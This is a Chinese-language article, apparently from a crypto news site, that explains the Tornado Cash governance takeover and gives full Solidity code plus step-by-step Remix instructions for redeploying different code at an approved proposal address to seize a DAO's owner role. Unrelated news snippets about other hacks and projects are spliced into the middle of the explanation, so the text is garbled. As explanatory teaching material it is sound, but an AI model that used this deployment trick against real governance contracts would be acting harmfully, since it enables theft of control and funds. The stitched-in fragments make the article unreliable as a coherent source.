大概兩周前(5 月 20 日),知名混幣協議 Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。
攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之后, 銷毀了提案要執行的合約地址, 并在該地址上重新創建了一個攻擊合約。
攻擊過程可以查看 SharkTeam 的 Tornado.Cash提案攻擊原理分析。
這里攻擊的關鍵是在同一個地址上部署了不同的合約, 這是如何實現的呢?
EVM 中有兩個操作碼用來創建合約:CREATE 與 CREATE2 。
當使用 new Token() 使用的是 CREATE 操作碼 , 創建的合約地址計算函數為:
address tokenAddr = bytes20(keccak256(senderAddress, nonce))創建的合約地址是通過創建者地址 + 創建者Nonce(創建合約的數量)來確定的, 由于 Nonce 總是逐步遞增的, 當 Nonce 增加時,創建的合約地址總是是不同的。
當添加一個salt時 new Token{salt: bytes32(。() ,則使用的是 CREATE2 操作碼 , 創建的合約地址計算函數為:
WalletConnect 發布錢包開源解決方案 Web3Modal v2.0 版本,新增 ENS 域名解析等功能:9月17日消息,Web3 基礎設施 WalletConnect 發布錢包開源解決方案Web3Modal v2.0版本,新功能包括可自定義的UI、支持上百個錢包、最終用戶登陸、可定制的條款和條件、ENS域名解析,未來幾周內也計劃添加和增強更多功能,包括支持React和Vanilla等多種框架、為賬戶地址和實時余額等功能預建組件、支持非EVM鏈等。[2022/9/17 7:02:59]
address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))創建的合約地址是 創建者地址 + 自定義的鹽 + 要部署的智能合約的字節碼, 因此 只有相同字節碼 和 使用相同的鹽值,才可以部署到同一個合約地址上。
那么如何才能在同一地址如何部署不用的合約?
攻擊者結合使用 Create2 和 Create 來創建合約, 如圖:
代碼參考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
安全團隊:Reaper Farm項目遭到攻擊事件解析,項目方損失約170萬美元:據成都鏈安“鏈必應-區塊鏈安全態勢感知平臺”安全輿情監控數據顯示,Reaper Farm項目遭到黑客攻擊,成都鏈安安全團隊發現由于_withdraw中owner地址可控且未作任何訪問控制,導致調用withdraw或redeem函數可提取任意用戶資產。攻擊者(0x5636e55e4a72299a0f194c001841e2ce75bb527a)利用攻擊合約(0x8162a5e187128565ace634e76fdd083cb04d0145)通過漏洞合約(0xcda5dea176f2df95082f4dadb96255bdb2bc7c7d)提取用戶資金,累計獲利62ETH,160萬 DAI,約價值170萬美元,目前攻擊者(0x2c177d20B1b1d68Cc85D3215904A7BB6629Ca954)已通過跨鏈將所有獲利資金轉入Tornado.Cash,成都鏈安鏈必追平臺將對被盜資金進行實時監控和追蹤。[2022/8/2 2:54:19]
先用 Create2 部署一個合約 Deployer , 在 Deployer 使用 Create 創建目標合約 Proposal(用于提案使用)。 Deployer 和 Proposal 合約中均有自毀實現(selfdestruct)。
在提案通過后,攻擊者把 Deployer 和 Proposal 合約銷毀,然后重新用相同的slat創建 Deployer , Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的 Deployer 合約地址, 但此時 Deployer 合約的狀態被清空了, nonce 從 0 開始,因此可以使用該 nonce 創建另一個合約Attack。
Cobo區塊鏈安全團隊公開0xDAO潛在盜幣漏洞發現過程及技術細節解析:4月2日消息,0xDAO v2原計劃上線前的幾個小時,Cobo區塊鏈安全團隊啟動對該項目的DaaS投前例行安全評估工作,隨后在github開源的項目代碼中發現了一個嚴重的安全漏洞。經評估,如果 0xDAO v2此時繼續上線,該漏洞預計會造成數億美金的資產損失。Cobo區塊鏈安全團隊立即啟動應急預案,快速通過多個渠道聯系到0xDAO項目方,提交該漏洞的完整攻擊流程,緊急叫停了項目上線,隨后協助0xDAO項目方對該漏洞進行了修復。
日前,0xDAO官方發布推文向Cobo區塊鏈安全團隊表示了感謝,并且表示會按照嚴重漏洞級別給予Cobo區塊鏈安全團隊漏洞賞金獎勵。[2022/4/2 14:00:31]
此代碼來自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO { struct Proposal { address target; bool approved; bool executed; } address public owner = msg.sender; Proposal[] public proposals; function approve(address target) external { require(msg.sender == owner, "not authorized"); proposals.push(Proposal({target: target, approved: true, executed: false})); } function execute(uint256 proposalId) external payable { Proposal storage proposal = proposals[proposalId]; require(proposal.approved, "not approved"); require(!proposal.executed, "executed"); proposal.executed = true; (bool ok, ) = proposal.target.delegatecall( abi.encodeWithSignature("executeProposal()") ); require(ok, "delegatecall failed"); }}contract Proposal { event Log(string message); function executeProposal() external { emit Log("Excuted code approved by DAO"); } function emergencyStop() external { selfdestruct(payable(address(0))); }}contract Attack { event Log(string message); address public owner; function executeProposal() external { emit Log("Excuted code not approved by DAO :)"); // For example - set DAO's owner to attacker owner = msg.sender; }}contract DeployerDeployer { event Log(address addr); function deploy() external { bytes32 salt = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt: salt}()); emit Log(addr); }}contract Deployer { event Log(address addr); function deployProposal() external { address addr = address(new Proposal()); emit Log(addr); } function deployAttack() external { address addr = address(new Attack()); emit Log(addr); } function kill() external { selfdestruct(payable(address(0))); }}大家可以使用該代碼自己在 Remix 中演練一下。
動態 | EOS疑似將推出基于EOS的HandShake DNS解析服務:EOS疑似將推出基于EOS 的 HandShake DNS解析服務,一位開發者的Github顯示正在開發EOS-handshake服務。Cosmos社區總監Chjango Unchained4月30日發推表示發現EOS開發者正在復用 Handshake 的開源代碼。EOS或許會加入域名解析服務,生態會進一步擴大。(IMEOS)[2019/4/30]
首先部署 DeployerDeployer , 調用 DeployerDeployer.deploy() 部署 Deployer , 然后調用 Deployer.deployProposal() 部署 Proposal 。
拿到 Proposal 提案合約地址后, 向 DAO 發起提案。
分別調用 Deployer.kill 和 Proposal.emergencyStop 銷毀掉 Deployer 和 Proposal
再次調用 DeployerDeployer.deploy() 部署 Deployer , 調用 Deployer.deployAttack() 部署 Attack , Attack 將和之前的 Proposal 一致。
摩根士丹利分析師深度報告全解析:比特幣“見底”規律及六大必讀趨勢:摩根士丹利分析師Sheena Shah 19日發表最新研報。主要觀點包括:今天正在經歷的比特幣熊市早就在2000年的納斯達克市場上演過,只不過是以15倍速度在“快進”;熊市看到唯一交易量增加的數字貨幣可能就是USDT,盡管USDT的可靠性遭遇廣泛質疑,因為交易員們面對各種幣的大跌只能暫時先買回USDT;日元升值可能促使日本散戶增加對比特幣的投資;千幣齊跌,但區塊鏈行業依舊火熱,對于傳統VC來說,參與ICO也有三大好處;比特幣與其它幣之間的相關性隨價格下跌而上升,市場上漲時,它們的相關性反而下降;比特幣在不同交易所的價差顯示,價格觸底反彈的日子,價差會有規律的突然拉大。[2018/3/20]
執行 DAO.execute 時,攻擊完成 獲取到了 DAO 的 Owner 權限。
區塊律動BlockBeats
曼昆區塊鏈法律
Foresight News
GWEI Research
吳說區塊鏈
西柚yoga
ETH中文
金色早8點
金色財經 子木
ABCDE
0xAyA
比特幣 Ordinals 銘文數在周一突破了 1000 萬,新的領導者打算填補協議創造者 Casey Rodarmor 的位置.
1900/1/1 0:00:00又到了每月安全盤點時刻!據區塊鏈安全審計公司Beosin旗下Beosin EagleEye安全風險監控、預警與阻斷平臺監測顯示,2023年6月,黑客攻擊事件損失金額較5月大幅上升.
1900/1/1 0:00:00本文由Li Jin 和 Katie Parrott最初發表在哈佛商業評論。Web3被認為是圍繞著一個更好、更公平的互聯網運動中最有力的敘事之一.
1900/1/1 0:00:00原文作者:Poopman,加密研究員 原文編譯:Leo,BlockBeatscrvUSD 于一個半月前推出,關于其討論和文章可能很多.
1900/1/1 0:00:00作者: Jeff@Foresight VenturesDefi 的出現打開了一條直通 Asgard 的彩虹橋,在那里流動性得到了充分的釋放.
1900/1/1 0:00:00如何避免開盤即套牢? MAV IEO又多了一批虧友,近來沖幣安Launchpad/Launchpool 開盤結果套麻了的事也多了起來 ,雖然最近拉了一波,但不少人還沒成功回本.
1900/1/1 0:00:00